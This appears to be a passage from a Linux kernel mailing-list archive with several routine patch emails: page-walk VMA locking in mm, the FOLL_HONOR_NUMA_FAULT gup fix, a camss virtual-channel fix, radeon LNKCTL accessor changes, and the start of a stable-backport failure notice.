@@ -1029,7 +1036,7 @@ static int unmerge_and_remove_all_rmap_i
if (!(vma->vm_flags & VM_MERGEABLE) || !vma->anon_vma)
continue;
err = unmerge_ksm_pages(vma,
- vma->vm_start, vma->vm_end);
+ vma->vm_start, vma->vm_end, false);
if (err)
goto error;
}
@@ -2530,7 +2537,7 @@ static int __ksm_del_vma(struct vm_area_
return 0;
if (vma->anon_vma) {
- err = unmerge_ksm_pages(vma, vma->vm_start, vma->vm_end);
+ err = unmerge_ksm_pages(vma, vma->vm_start, vma->vm_end, true);
if (err)
return err;
}
@@ -2668,7 +2675,7 @@ int ksm_madvise(struct vm_area_struct *v
return 0; /* just ignore the advice */
if (vma->anon_vma) {
- err = unmerge_ksm_pages(vma, start, end);
+ err = unmerge_ksm_pages(vma, start, end, true);
if (err)
return err;
}
--- a/mm/madvise.c~mm-enable-page-walking-api-to-lock-vmas-during-the-walk
+++ a/mm/madvise.c
@@ -233,6 +233,7 @@ static int swapin_walk_pmd_entry(pmd_t *
static const struct mm_walk_ops swapin_walk_ops = {
.pmd_entry = swapin_walk_pmd_entry,
+ .walk_lock = PGWALK_RDLOCK,
};
static void shmem_swapin_range(struct vm_area_struct *vma,
@@ -534,6 +535,7 @@ regular_folio:
static const struct mm_walk_ops cold_walk_ops = {
.pmd_entry = madvise_cold_or_pageout_pte_range,
+ .walk_lock = PGWALK_RDLOCK,
};
static void madvise_cold_page_range(struct mmu_gather *tlb,
@@ -757,6 +759,7 @@ static int madvise_free_pte_range(pmd_t
static const struct mm_walk_ops madvise_free_walk_ops = {
.pmd_entry = madvise_free_pte_range,
+ .walk_lock = PGWALK_RDLOCK,
};
static int madvise_free_single_vma(struct vm_area_struct *vma,
--- a/mm/memcontrol.c~mm-enable-page-walking-api-to-lock-vmas-during-the-walk
+++ a/mm/memcontrol.c
@@ -6024,6 +6024,7 @@ static int mem_cgroup_count_precharge_pt
static const struct mm_walk_ops precharge_walk_ops = {
.pmd_entry = mem_cgroup_count_precharge_pte_range,
+ .walk_lock = PGWALK_RDLOCK,
};
static unsigned long mem_cgroup_count_precharge(struct mm_struct *mm)
@@ -6303,6 +6304,7 @@ put: /* get_mctgt_type() gets & locks
static const struct mm_walk_ops charge_walk_ops = {
.pmd_entry = mem_cgroup_move_charge_pte_range,
+ .walk_lock = PGWALK_RDLOCK,
};
static void mem_cgroup_move_charge(void)
--- a/mm/memory-failure.c~mm-enable-page-walking-api-to-lock-vmas-during-the-walk
+++ a/mm/memory-failure.c
@@ -831,6 +831,7 @@ static int hwpoison_hugetlb_range(pte_t
static const struct mm_walk_ops hwp_walk_ops = {
.pmd_entry = hwpoison_pte_range,
.hugetlb_entry = hwpoison_hugetlb_range,
+ .walk_lock = PGWALK_RDLOCK,
};
/*
--- a/mm/mempolicy.c~mm-enable-page-walking-api-to-lock-vmas-during-the-walk
+++ a/mm/mempolicy.c
@@ -718,6 +718,14 @@ static const struct mm_walk_ops queue_pa
.hugetlb_entry = queue_folios_hugetlb,
.pmd_entry = queue_folios_pte_range,
.test_walk = queue_pages_test_walk,
+ .walk_lock = PGWALK_RDLOCK,
+};
+
+static const struct mm_walk_ops queue_pages_lock_vma_walk_ops = {
+ .hugetlb_entry = queue_folios_hugetlb,
+ .pmd_entry = queue_folios_pte_range,
+ .test_walk = queue_pages_test_walk,
+ .walk_lock = PGWALK_WRLOCK,
};
/*
@@ -738,7 +746,7 @@ static const struct mm_walk_ops queue_pa
static int
queue_pages_range(struct mm_struct *mm, unsigned long start, unsigned long end,
nodemask_t *nodes, unsigned long flags,
- struct list_head *pagelist)
+ struct list_head *pagelist, bool lock_vma)
{
int err;
struct queue_pages qp = {
@@ -749,8 +757,10 @@ queue_pages_range(struct mm_struct *mm,
.end = end,
.first = NULL,
};
+ const struct mm_walk_ops *ops = lock_vma ?
+ &queue_pages_lock_vma_walk_ops : &queue_pages_walk_ops;
- err = walk_page_range(mm, start, end, &queue_pages_walk_ops, &qp);
+ err = walk_page_range(mm, start, end, ops, &qp);
if (!qp.first)
/* whole range in hole */
@@ -1078,7 +1088,7 @@ static int migrate_to_node(struct mm_str
vma = find_vma(mm, 0);
VM_BUG_ON(!(flags & (MPOL_MF_MOVE | MPOL_MF_MOVE_ALL)));
queue_pages_range(mm, vma->vm_start, mm->task_size, &nmask,
- flags | MPOL_MF_DISCONTIG_OK, &pagelist);
+ flags | MPOL_MF_DISCONTIG_OK, &pagelist, false);
if (!list_empty(&pagelist)) {
err = migrate_pages(&pagelist, alloc_migration_target, NULL,
@@ -1321,12 +1331,8 @@ static long do_mbind(unsigned long start
* Lock the VMAs before scanning for pages to migrate, to ensure we don't
* miss a concurrently inserted page.
*/
- vma_iter_init(&vmi, mm, start);
- for_each_vma_range(vmi, vma, end)
- vma_start_write(vma);
-
ret = queue_pages_range(mm, start, end, nmask,
- flags | MPOL_MF_INVERT, &pagelist);
+ flags | MPOL_MF_INVERT, &pagelist, true);
if (ret < 0) {
err = ret;
--- a/mm/migrate_device.c~mm-enable-page-walking-api-to-lock-vmas-during-the-walk
+++ a/mm/migrate_device.c
@@ -279,6 +279,7 @@ next:
static const struct mm_walk_ops migrate_vma_walk_ops = {
.pmd_entry = migrate_vma_collect_pmd,
.pte_hole = migrate_vma_collect_hole,
+ .walk_lock = PGWALK_RDLOCK,
};
/*
--- a/mm/mincore.c~mm-enable-page-walking-api-to-lock-vmas-during-the-walk
+++ a/mm/mincore.c
@@ -176,6 +176,7 @@ static const struct mm_walk_ops mincore_
.pmd_entry = mincore_pte_range,
.pte_hole = mincore_unmapped_range,
.hugetlb_entry = mincore_hugetlb,
+ .walk_lock = PGWALK_RDLOCK,
};
/*
--- a/mm/mlock.c~mm-enable-page-walking-api-to-lock-vmas-during-the-walk
+++ a/mm/mlock.c
@@ -371,6 +371,7 @@ static void mlock_vma_pages_range(struct
{
static const struct mm_walk_ops mlock_walk_ops = {
.pmd_entry = mlock_pte_range,
+ .walk_lock = PGWALK_WRLOCK_VERIFY,
};
/*
--- a/mm/mprotect.c~mm-enable-page-walking-api-to-lock-vmas-during-the-walk
+++ a/mm/mprotect.c
@@ -568,6 +568,7 @@ static const struct mm_walk_ops prot_non
.pte_entry = prot_none_pte_entry,
.hugetlb_entry = prot_none_hugetlb_entry,
.test_walk = prot_none_test,
+ .walk_lock = PGWALK_WRLOCK,
};
int
--- a/mm/pagewalk.c~mm-enable-page-walking-api-to-lock-vmas-during-the-walk
+++ a/mm/pagewalk.c
@@ -400,6 +400,33 @@ static int __walk_page_range(unsigned lo
return err;
}
+static inline void process_mm_walk_lock(struct mm_struct *mm,
+ enum page_walk_lock walk_lock)
+{
+ if (walk_lock == PGWALK_RDLOCK)
+ mmap_assert_locked(mm);
+ else
+ mmap_assert_write_locked(mm);
+}
+
+static inline void process_vma_walk_lock(struct vm_area_struct *vma,
+ enum page_walk_lock walk_lock)
+{
+#ifdef CONFIG_PER_VMA_LOCK
+ switch (walk_lock) {
+ case PGWALK_WRLOCK:
+ vma_start_write(vma);
+ break;
+ case PGWALK_WRLOCK_VERIFY:
+ vma_assert_write_locked(vma);
+ break;
+ case PGWALK_RDLOCK:
+ /* PGWALK_RDLOCK is handled by process_mm_walk_lock */
+ break;
+ }
+#endif
+}
+
/**
* walk_page_range - walk page table with caller specific callbacks
* @mm: mm_struct representing the target process of page table walk
@@ -459,7 +486,7 @@ int walk_page_range(struct mm_struct *mm
if (!walk.mm)
return -EINVAL;
- mmap_assert_locked(walk.mm);
+ process_mm_walk_lock(walk.mm, ops->walk_lock);
vma = find_vma(walk.mm, start);
do {
@@ -474,6 +501,7 @@ int walk_page_range(struct mm_struct *mm
if (ops->pte_hole)
err = ops->pte_hole(start, next, -1, &walk);
} else { /* inside vma */
+ process_vma_walk_lock(vma, ops->walk_lock);
walk.vma = vma;
next = min(end, vma->vm_end);
vma = find_vma(mm, vma->vm_end);
@@ -549,7 +577,8 @@ int walk_page_range_vma(struct vm_area_s
if (start < vma->vm_start || end > vma->vm_end)
return -EINVAL;
- mmap_assert_locked(walk.mm);
+ process_mm_walk_lock(walk.mm, ops->walk_lock);
+ process_vma_walk_lock(vma, ops->walk_lock);
return __walk_page_range(start, end, &walk);
}
@@ -566,7 +595,8 @@ int walk_page_vma(struct vm_area_struct
if (!walk.mm)
return -EINVAL;
- mmap_assert_locked(walk.mm);
+ process_mm_walk_lock(walk.mm, ops->walk_lock);
+ process_vma_walk_lock(vma, ops->walk_lock);
return __walk_page_range(vma->vm_start, vma->vm_end, &walk);
}
--- a/mm/vmscan.c~mm-enable-page-walking-api-to-lock-vmas-during-the-walk
+++ a/mm/vmscan.c
@@ -4284,6 +4284,7 @@ static void walk_mm(struct lruvec *lruve
static const struct mm_walk_ops mm_walk_ops = {
.test_walk = should_skip_vma,
.p4d_entry = walk_pud_range,
+ .walk_lock = PGWALK_RDLOCK,
};
int err;
_
Patches currently in -mm which might be from surenb(a)google.com are
swap-remove-remnants-of-polling-from-read_swap_cache_async.patch
mm-add-missing-vm_fault_result_trace-name-for-vm_fault_completed.patch
mm-drop-per-vma-lock-when-returning-vm_fault_retry-or-vm_fault_completed.patch
mm-change-folio_lock_or_retry-to-use-vm_fault-directly.patch
mm-handle-swap-page-faults-under-per-vma-lock.patch
mm-handle-userfaults-under-vma-lock.patch
mm-handle-userfaults-under-vma-lock-fix.patch
mm-for-config_per_vma_lock-equate-write-lock-assertion-for-vma-and-mmap.patch
mm-replace-mmap-with-vma-write-lock-assertions-when-operating-on-a-vma.patch
mm-lock-vma-explicitly-before-doing-vm_flags_reset-and-vm_flags_reset_once.patch
mm-always-lock-new-vma-before-inserting-into-vma-tree.patch
mm-move-vma-locking-out-of-vma_prepare-and-dup_anon_vma.patch
2 years, 4 months
- 1
- 0
[merged mm-hotfixes-stable] mm-gup-reintroduce-foll_numa-as-foll_honor_numa_fault.patch removed from -mm tree
by Andrew Morton
The quilt patch titled
Subject: mm/gup: reintroduce FOLL_NUMA as FOLL_HONOR_NUMA_FAULT
has been removed from the -mm tree. Its filename was
mm-gup-reintroduce-foll_numa-as-foll_honor_numa_fault.patch
This patch was dropped because it was merged into the mm-hotfixes-stable branch
of git://git.kernel.org/pub/scm/linux/kernel/git/akpm/mm
------------------------------------------------------
From: David Hildenbrand <david(a)redhat.com>
Subject: mm/gup: reintroduce FOLL_NUMA as FOLL_HONOR_NUMA_FAULT
Date: Thu, 3 Aug 2023 16:32:02 +0200
Unfortunately commit 474098edac26 ("mm/gup: replace FOLL_NUMA by
gup_can_follow_protnone()") missed that follow_page() and
follow_trans_huge_pmd() never implicitly set FOLL_NUMA because they really
don't want to fail on PROT_NONE-mapped pages -- either due to NUMA hinting
or due to inaccessible (PROT_NONE) VMAs.
As spelled out in commit 0b9d705297b2 ("mm: numa: Support NUMA hinting
page faults from gup/gup_fast"): "Other follow_page callers like KSM
should not use FOLL_NUMA, or they would fail to get the pages if they use
follow_page instead of get_user_pages."
liubo reported [1] that smaps_rollup results are imprecise, because they
miss accounting of pages that are mapped PROT_NONE. Further, it's easy to
reproduce that KSM no longer works on inaccessible VMAs on x86-64, because
pte_protnone()/pmd_protnone() also indictaes "true" in inaccessible VMAs,
and follow_page() refuses to return such pages right now.
As KVM really depends on these NUMA hinting faults, removing the
pte_protnone()/pmd_protnone() handling in GUP code completely is not
really an option.
To fix the issues at hand, let's revive FOLL_NUMA as FOLL_HONOR_NUMA_FAULT
to restore the original behavior for now and add better comments.
Set FOLL_HONOR_NUMA_FAULT independent of FOLL_FORCE in
is_valid_gup_args(), to add that flag for all external GUP users.
Note that there are three GUP-internal __get_user_pages() users that don't
end up calling is_valid_gup_args() and consequently won't get
FOLL_HONOR_NUMA_FAULT set.
1) get_dump_page(): we really don't want to handle NUMA hinting
faults. It specifies FOLL_FORCE and wouldn't have honored NUMA
hinting faults already.
2) populate_vma_page_range(): we really don't want to handle NUMA hinting
faults. It specifies FOLL_FORCE on accessible VMAs, so it wouldn't have
honored NUMA hinting faults already.
3) faultin_vma_page_range(): we similarly don't want to handle NUMA
hinting faults.
To make the combination of FOLL_FORCE and FOLL_HONOR_NUMA_FAULT work in
inaccessible VMAs properly, we have to perform VMA accessibility checks in
gup_can_follow_protnone().
As GUP-fast should reject such pages either way in
pte_access_permitted()/pmd_access_permitted() -- for example on x86-64 and
arm64 that both implement pte_protnone() -- let's just always fallback to
ordinary GUP when stumbling over pte_protnone()/pmd_protnone().
As Linus notes [2], honoring NUMA faults might only make sense for
selected GUP users.
So we should really see if we can instead let relevant GUP callers specify
it manually, and not trigger NUMA hinting faults from GUP as default.
Prepare for that by making FOLL_HONOR_NUMA_FAULT an external GUP flag and
adding appropriate documenation.
While at it, remove a stale comment from follow_trans_huge_pmd(): That
comment for pmd_protnone() was added in commit 2b4847e73004 ("mm: numa:
serialise parallel get_user_page against THP migration"), which noted:
THP does not unmap pages due to a lack of support for migration
entries at a PMD level. This allows races with get_user_pages
Nowadays, we do have PMD migration entries, so the comment no longer
applies. Let's drop it.
[1] https://lore.kernel.org/r/20230726073409.631838-1-liubo254@huawei.com
[2] https://lore.kernel.org/r/CAHk-=wgRiP_9X0rRdZKT8nhemZGNateMtb366t37d8-x7VRs…
Link: https://lkml.kernel.org/r/20230803143208.383663-2-david@redhat.com
Fixes: 474098edac26 ("mm/gup: replace FOLL_NUMA by gup_can_follow_protnone()")
Signed-off-by: David Hildenbrand <david(a)redhat.com>
Reported-by: liubo <liubo254(a)huawei.com>
Closes: https://lore.kernel.org/r/20230726073409.631838-1-liubo254@huawei.com
Reported-by: Peter Xu <peterx(a)redhat.com>
Closes: https://lore.kernel.org/all/ZMKJjDaqZ7FW0jfe@x1n/
Acked-by: Mel Gorman <mgorman(a)techsingularity.net>
Acked-by: Peter Xu <peterx(a)redhat.com>
Cc: Hugh Dickins <hughd(a)google.com>
Cc: Jason Gunthorpe <jgg(a)ziepe.ca>
Cc: John Hubbard <jhubbard(a)nvidia.com>
Cc: Linus Torvalds <torvalds(a)linux-foundation.org>
Cc: Matthew Wilcox (Oracle) <willy(a)infradead.org>
Cc: Mel Gorman <mgorman(a)suse.de>
Cc: Paolo Bonzini <pbonzini(a)redhat.com>
Cc: Shuah Khan <shuah(a)kernel.org>
Cc: <stable(a)vger.kernel.org>
Signed-off-by: Andrew Morton <akpm(a)linux-foundation.org>
---
include/linux/mm.h | 21 +++++++++++++++------
include/linux/mm_types.h | 9 +++++++++
mm/gup.c | 30 ++++++++++++++++++++++++------
mm/huge_memory.c | 3 +--
4 files changed, 49 insertions(+), 14 deletions(-)
--- a/include/linux/mm.h~mm-gup-reintroduce-foll_numa-as-foll_honor_numa_fault
+++ a/include/linux/mm.h
@@ -3421,15 +3421,24 @@ static inline int vm_fault_to_errno(vm_f
* Indicates whether GUP can follow a PROT_NONE mapped page, or whether
* a (NUMA hinting) fault is required.
*/
-static inline bool gup_can_follow_protnone(unsigned int flags)
+static inline bool gup_can_follow_protnone(struct vm_area_struct *vma,
+ unsigned int flags)
{
/*
- * FOLL_FORCE has to be able to make progress even if the VMA is
- * inaccessible. Further, FOLL_FORCE access usually does not represent
- * application behaviour and we should avoid triggering NUMA hinting
- * faults.
+ * If callers don't want to honor NUMA hinting faults, no need to
+ * determine if we would actually have to trigger a NUMA hinting fault.
*/
- return flags & FOLL_FORCE;
+ if (!(flags & FOLL_HONOR_NUMA_FAULT))
+ return true;
+
+ /*
+ * NUMA hinting faults don't apply in inaccessible (PROT_NONE) VMAs.
+ *
+ * Requiring a fault here even for inaccessible VMAs would mean that
+ * FOLL_FORCE cannot make any progress, because handle_mm_fault()
+ * refuses to process NUMA hinting faults in inaccessible VMAs.
+ */
+ return !vma_is_accessible(vma);
}
typedef int (*pte_fn_t)(pte_t *pte, unsigned long addr, void *data);
--- a/include/linux/mm_types.h~mm-gup-reintroduce-foll_numa-as-foll_honor_numa_fault
+++ a/include/linux/mm_types.h
@@ -1286,6 +1286,15 @@ enum {
FOLL_PCI_P2PDMA = 1 << 10,
/* allow interrupts from generic signals */
FOLL_INTERRUPTIBLE = 1 << 11,
+ /*
+ * Always honor (trigger) NUMA hinting faults.
+ *
+ * FOLL_WRITE implicitly honors NUMA hinting faults because a
+ * PROT_NONE-mapped page is not writable (exceptions with FOLL_FORCE
+ * apply). get_user_pages_fast_only() always implicitly honors NUMA
+ * hinting faults.
+ */
+ FOLL_HONOR_NUMA_FAULT = 1 << 12,
/* See also internal only FOLL flags in mm/internal.h */
};
--- a/mm/gup.c~mm-gup-reintroduce-foll_numa-as-foll_honor_numa_fault
+++ a/mm/gup.c
@@ -597,7 +597,7 @@ static struct page *follow_page_pte(stru
pte = ptep_get(ptep);
if (!pte_present(pte))
goto no_page;
- if (pte_protnone(pte) && !gup_can_follow_protnone(flags))
+ if (pte_protnone(pte) && !gup_can_follow_protnone(vma, flags))
goto no_page;
page = vm_normal_page(vma, address, pte);
@@ -714,7 +714,7 @@ static struct page *follow_pmd_mask(stru
if (likely(!pmd_trans_huge(pmdval)))
return follow_page_pte(vma, address, pmd, flags, &ctx->pgmap);
- if (pmd_protnone(pmdval) && !gup_can_follow_protnone(flags))
+ if (pmd_protnone(pmdval) && !gup_can_follow_protnone(vma, flags))
return no_page_table(vma, flags);
ptl = pmd_lock(mm, pmd);
@@ -851,6 +851,10 @@ struct page *follow_page(struct vm_area_
if (WARN_ON_ONCE(foll_flags & FOLL_PIN))
return NULL;
+ /*
+ * We never set FOLL_HONOR_NUMA_FAULT because callers don't expect
+ * to fail on PROT_NONE-mapped pages.
+ */
page = follow_page_mask(vma, address, foll_flags, &ctx);
if (ctx.pgmap)
put_dev_pagemap(ctx.pgmap);
@@ -2227,6 +2231,13 @@ static bool is_valid_gup_args(struct pag
gup_flags |= FOLL_UNLOCKABLE;
}
+ /*
+ * For now, always trigger NUMA hinting faults. Some GUP users like
+ * KVM require the hint to be as the calling context of GUP is
+ * functionally similar to a memory reference from task context.
+ */
+ gup_flags |= FOLL_HONOR_NUMA_FAULT;
+
/* FOLL_GET and FOLL_PIN are mutually exclusive. */
if (WARN_ON_ONCE((gup_flags & (FOLL_PIN | FOLL_GET)) ==
(FOLL_PIN | FOLL_GET)))
@@ -2551,7 +2562,14 @@ static int gup_pte_range(pmd_t pmd, pmd_
struct page *page;
struct folio *folio;
- if (pte_protnone(pte) && !gup_can_follow_protnone(flags))
+ /*
+ * Always fallback to ordinary GUP on PROT_NONE-mapped pages:
+ * pte_access_permitted() better should reject these pages
+ * either way: otherwise, GUP-fast might succeed in
+ * cases where ordinary GUP would fail due to VMA access
+ * permissions.
+ */
+ if (pte_protnone(pte))
goto pte_unmap;
if (!pte_access_permitted(pte, flags & FOLL_WRITE))
@@ -2970,8 +2988,8 @@ static int gup_pmd_range(pud_t *pudp, pu
if (unlikely(pmd_trans_huge(pmd) || pmd_huge(pmd) ||
pmd_devmap(pmd))) {
- if (pmd_protnone(pmd) &&
- !gup_can_follow_protnone(flags))
+ /* See gup_pte_range() */
+ if (pmd_protnone(pmd))
return 0;
if (!gup_huge_pmd(pmd, pmdp, addr, next, flags,
@@ -3151,7 +3169,7 @@ static int internal_get_user_pages_fast(
if (WARN_ON_ONCE(gup_flags & ~(FOLL_WRITE | FOLL_LONGTERM |
FOLL_FORCE | FOLL_PIN | FOLL_GET |
FOLL_FAST_ONLY | FOLL_NOFAULT |
- FOLL_PCI_P2PDMA)))
+ FOLL_PCI_P2PDMA | FOLL_HONOR_NUMA_FAULT)))
return -EINVAL;
if (gup_flags & FOLL_PIN)
--- a/mm/huge_memory.c~mm-gup-reintroduce-foll_numa-as-foll_honor_numa_fault
+++ a/mm/huge_memory.c
@@ -1467,8 +1467,7 @@ struct page *follow_trans_huge_pmd(struc
if ((flags & FOLL_DUMP) && is_huge_zero_pmd(*pmd))
return ERR_PTR(-EFAULT);
- /* Full NUMA hinting faults to serialise migration in fault paths */
- if (pmd_protnone(*pmd) && !gup_can_follow_protnone(flags))
+ if (pmd_protnone(*pmd) && !gup_can_follow_protnone(vma, flags))
return NULL;
if (!pmd_write(*pmd) && gup_must_unshare(vma, flags, page))
_
Patches currently in -mm which might be from david(a)redhat.com are
kvm-explicitly-set-foll_honor_numa_fault-in-hva_to_pfn_slow.patch
mm-gup-dont-implicitly-set-foll_honor_numa_fault.patch
pgtable-improve-pte_protnone-comment.patch
selftest-mm-ksm_functional_tests-test-in-mmap_and_merge_range-if-anything-got-merged.patch
selftest-mm-ksm_functional_tests-add-prot_none-test.patch
selftest-mm-ksm_functional_tests-add-prot_none-test-fix.patch
mm-swap-stop-using-page-private-on-tail-pages-for-thp_swap.patch
mm-swap-inline-folio_set_swap_entry-and-folio_swap_entry.patch
mm-huge_memory-work-on-folio-swap-instead-of-page-private-when-splitting-folio.patch
2 years, 4 months
- 1
- 0
[PATCH v0 8/9] media: qcom: camss: Fix set CSI2_RX_CFG1_VC_MODE when VC is greater than 3
by Bryan O'Donoghue
VC_MODE = 0 implies a two bit VC address.
VC_MODE = 1 is required for VCs with a larger address than two bits.
Fixes: eebe6d00e9bf ("media: camss: Add support for CSID hardware version Titan 170")
Cc: stable(a)vger.kernel.org
Signed-off-by: Bryan O'Donoghue <bryan.odonoghue(a)linaro.org>
---
drivers/media/platform/qcom/camss/camss-csid-gen2.c | 4 +++-
1 file changed, 3 insertions(+), 1 deletion(-)
diff --git a/drivers/media/platform/qcom/camss/camss-csid-gen2.c b/drivers/media/platform/qcom/camss/camss-csid-gen2.c
index 45c7986d4a8d0..9ac253111e572 100644
--- a/drivers/media/platform/qcom/camss/camss-csid-gen2.c
+++ b/drivers/media/platform/qcom/camss/camss-csid-gen2.c
@@ -352,7 +352,7 @@ static void __csid_configure_stream(struct csid_device *csid, u8 enable, u8 vc)
phy_sel = csid->phy.csiphy_id;
if (enable) {
- u8 dt_id = vc;
+ u8 dt_id = vc * 4;
if (tg->enabled) {
/* Config Test Generator */
@@ -449,6 +449,8 @@ static void __csid_configure_stream(struct csid_device *csid, u8 enable, u8 vc)
writel_relaxed(val, csid->base + CSID_CSI2_RX_CFG0);
val = 1 << CSI2_RX_CFG1_PACKET_ECC_CORRECTION_EN;
+ if (vc > 3)
+ val |= 1 << CSI2_RX_CFG1_VC_MODE;
val |= 1 << CSI2_RX_CFG1_MISR_EN;
writel_relaxed(val, csid->base + CSID_CSI2_RX_CFG1);
--
2.41.0
2 years, 4 months
- 2
- 4
[PATCH v5 06/11] drm/radeon: Use RMW accessors for changing LNKCTL
by Ilpo Järvinen
Don't assume that only the driver would be accessing LNKCTL. ASPM
policy changes can trigger write to LNKCTL outside of driver's control.
And in the case of upstream bridge, the driver does not even own the
device it's changing the registers for.
Use RMW capability accessors which do proper locking to avoid losing
concurrent updates to the register value.
Fixes: 8a7cd27679d0 ("drm/radeon/cik: add support for pcie gen1/2/3 switching")
Fixes: b9d305dfb66c ("drm/radeon: implement pcie gen2/3 support for SI")
Suggested-by: Lukas Wunner <lukas(a)wunner.de>
Signed-off-by: Ilpo Järvinen <ilpo.jarvinen(a)linux.intel.com>
Cc: stable(a)vger.kernel.org
---
drivers/gpu/drm/radeon/cik.c | 36 ++++++++++-------------------------
drivers/gpu/drm/radeon/si.c | 37 ++++++++++--------------------------
2 files changed, 20 insertions(+), 53 deletions(-)
diff --git a/drivers/gpu/drm/radeon/cik.c b/drivers/gpu/drm/radeon/cik.c
index 5819737c21c6..a6f3c811ceb8 100644
--- a/drivers/gpu/drm/radeon/cik.c
+++ b/drivers/gpu/drm/radeon/cik.c
@@ -9534,17 +9534,8 @@ static void cik_pcie_gen3_enable(struct radeon_device *rdev)
u16 bridge_cfg2, gpu_cfg2;
u32 max_lw, current_lw, tmp;
- pcie_capability_read_word(root, PCI_EXP_LNKCTL,
- &bridge_cfg);
- pcie_capability_read_word(rdev->pdev, PCI_EXP_LNKCTL,
- &gpu_cfg);
-
- tmp16 = bridge_cfg | PCI_EXP_LNKCTL_HAWD;
- pcie_capability_write_word(root, PCI_EXP_LNKCTL, tmp16);
-
- tmp16 = gpu_cfg | PCI_EXP_LNKCTL_HAWD;
- pcie_capability_write_word(rdev->pdev, PCI_EXP_LNKCTL,
- tmp16);
+ pcie_capability_set_word(root, PCI_EXP_LNKCTL, PCI_EXP_LNKCTL_HAWD);
+ pcie_capability_set_word(rdev->pdev, PCI_EXP_LNKCTL, PCI_EXP_LNKCTL_HAWD);
tmp = RREG32_PCIE_PORT(PCIE_LC_STATUS1);
max_lw = (tmp & LC_DETECTED_LINK_WIDTH_MASK) >> LC_DETECTED_LINK_WIDTH_SHIFT;
@@ -9591,21 +9582,14 @@ static void cik_pcie_gen3_enable(struct radeon_device *rdev)
msleep(100);
/* linkctl */
- pcie_capability_read_word(root, PCI_EXP_LNKCTL,
- &tmp16);
- tmp16 &= ~PCI_EXP_LNKCTL_HAWD;
- tmp16 |= (bridge_cfg & PCI_EXP_LNKCTL_HAWD);
- pcie_capability_write_word(root, PCI_EXP_LNKCTL,
- tmp16);
-
- pcie_capability_read_word(rdev->pdev,
- PCI_EXP_LNKCTL,
- &tmp16);
- tmp16 &= ~PCI_EXP_LNKCTL_HAWD;
- tmp16 |= (gpu_cfg & PCI_EXP_LNKCTL_HAWD);
- pcie_capability_write_word(rdev->pdev,
- PCI_EXP_LNKCTL,
- tmp16);
+ pcie_capability_clear_and_set_word(root, PCI_EXP_LNKCTL,
+ PCI_EXP_LNKCTL_HAWD,
+ bridge_cfg &
+ PCI_EXP_LNKCTL_HAWD);
+ pcie_capability_clear_and_set_word(rdev->pdev, PCI_EXP_LNKCTL,
+ PCI_EXP_LNKCTL_HAWD,
+ gpu_cfg &
+ PCI_EXP_LNKCTL_HAWD);
/* linkctl2 */
pcie_capability_read_word(root, PCI_EXP_LNKCTL2,
diff --git a/drivers/gpu/drm/radeon/si.c b/drivers/gpu/drm/radeon/si.c
index 8d5e4b25609d..a91012447b56 100644
--- a/drivers/gpu/drm/radeon/si.c
+++ b/drivers/gpu/drm/radeon/si.c
@@ -7131,17 +7131,8 @@ static void si_pcie_gen3_enable(struct radeon_device *rdev)
u16 bridge_cfg2, gpu_cfg2;
u32 max_lw, current_lw, tmp;
- pcie_capability_read_word(root, PCI_EXP_LNKCTL,
- &bridge_cfg);
- pcie_capability_read_word(rdev->pdev, PCI_EXP_LNKCTL,
- &gpu_cfg);
-
- tmp16 = bridge_cfg | PCI_EXP_LNKCTL_HAWD;
- pcie_capability_write_word(root, PCI_EXP_LNKCTL, tmp16);
-
- tmp16 = gpu_cfg | PCI_EXP_LNKCTL_HAWD;
- pcie_capability_write_word(rdev->pdev, PCI_EXP_LNKCTL,
- tmp16);
+ pcie_capability_set_word(root, PCI_EXP_LNKCTL, PCI_EXP_LNKCTL_HAWD);
+ pcie_capability_set_word(rdev->pdev, PCI_EXP_LNKCTL, PCI_EXP_LNKCTL_HAWD);
tmp = RREG32_PCIE(PCIE_LC_STATUS1);
max_lw = (tmp & LC_DETECTED_LINK_WIDTH_MASK) >> LC_DETECTED_LINK_WIDTH_SHIFT;
@@ -7188,22 +7179,14 @@ static void si_pcie_gen3_enable(struct radeon_device *rdev)
msleep(100);
/* linkctl */
- pcie_capability_read_word(root, PCI_EXP_LNKCTL,
- &tmp16);
- tmp16 &= ~PCI_EXP_LNKCTL_HAWD;
- tmp16 |= (bridge_cfg & PCI_EXP_LNKCTL_HAWD);
- pcie_capability_write_word(root,
- PCI_EXP_LNKCTL,
- tmp16);
-
- pcie_capability_read_word(rdev->pdev,
- PCI_EXP_LNKCTL,
- &tmp16);
- tmp16 &= ~PCI_EXP_LNKCTL_HAWD;
- tmp16 |= (gpu_cfg & PCI_EXP_LNKCTL_HAWD);
- pcie_capability_write_word(rdev->pdev,
- PCI_EXP_LNKCTL,
- tmp16);
+ pcie_capability_clear_and_set_word(root, PCI_EXP_LNKCTL,
+ PCI_EXP_LNKCTL_HAWD,
+ bridge_cfg &
+ PCI_EXP_LNKCTL_HAWD);
+ pcie_capability_clear_and_set_word(rdev->pdev, PCI_EXP_LNKCTL,
+ PCI_EXP_LNKCTL_HAWD,
+ gpu_cfg &
+ PCI_EXP_LNKCTL_HAWD);
/* linkctl2 */
pcie_capability_read_word(root, PCI_EXP_LNKCTL2,
--
2.30.2
2 years, 4 months
- 3
- 3
FAILED: patch "[PATCH] xfrm: fix slab-use-after-free in decode_session6" failed to apply to 4.14-stable tree
by gregkh＠linuxfoundation.org
The patch below does not apply to the 4.14-stable tree.
If someone wants it applied there, or to any other stable or longterm
tree, then please email the backport, including the original git commit
id to <stable(a)vger.kernel.org>.
To reproduce the conflict and resubmit, you may use the following commands:
git fetch https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/ linux-4.14.y
git checkout FETCH_HEAD
git cherry-pick -x 53223f2ed1ef5c90dad814daaaefea4e68a933c8
# <resolve conflicts, build, test, etc.>
git commit -s
git send-email --to '<stable(a)vger.kernel.org>' --in-reply-to '2023082114-colonial-manicure-d34e@gregkh' --subject-prefix 'PATCH 4.14.y' HEAD^..
Possible dependencies:
53223f2ed1ef ("xfrm: fix slab-use-after-free in decode_session6")
ee9a113ab634 ("xfrm: interface: rename xfrm_interface.c to xfrm_interface_core.c")
f042365dbffe ("xfrm interface: fix packet tx through bpf_redirect()")
bc56b3340459 ("xfrm: Remove xfrmi interface ID from flowi")
f203b76d7809 ("xfrm: Add virtual xfrm interfaces")
7e6526404ade ("xfrm: Add a new lookup key to match xfrm interfaces.")
9b42c1f179a6 ("xfrm: Extend the output_mark to support input direction and masking.")
e719135881f0 ("xfrm: fix XFRMA_OUTPUT_MARK policy entry")
thanks,
greg k-h
------------------ original commit in Linus's tree ------------------
From 53223f2ed1ef5c90dad814daaaefea4e68a933c8 Mon Sep 17 00:00:00 2001
From: Zhengchao Shao <shaozhengchao(a)huawei.com>
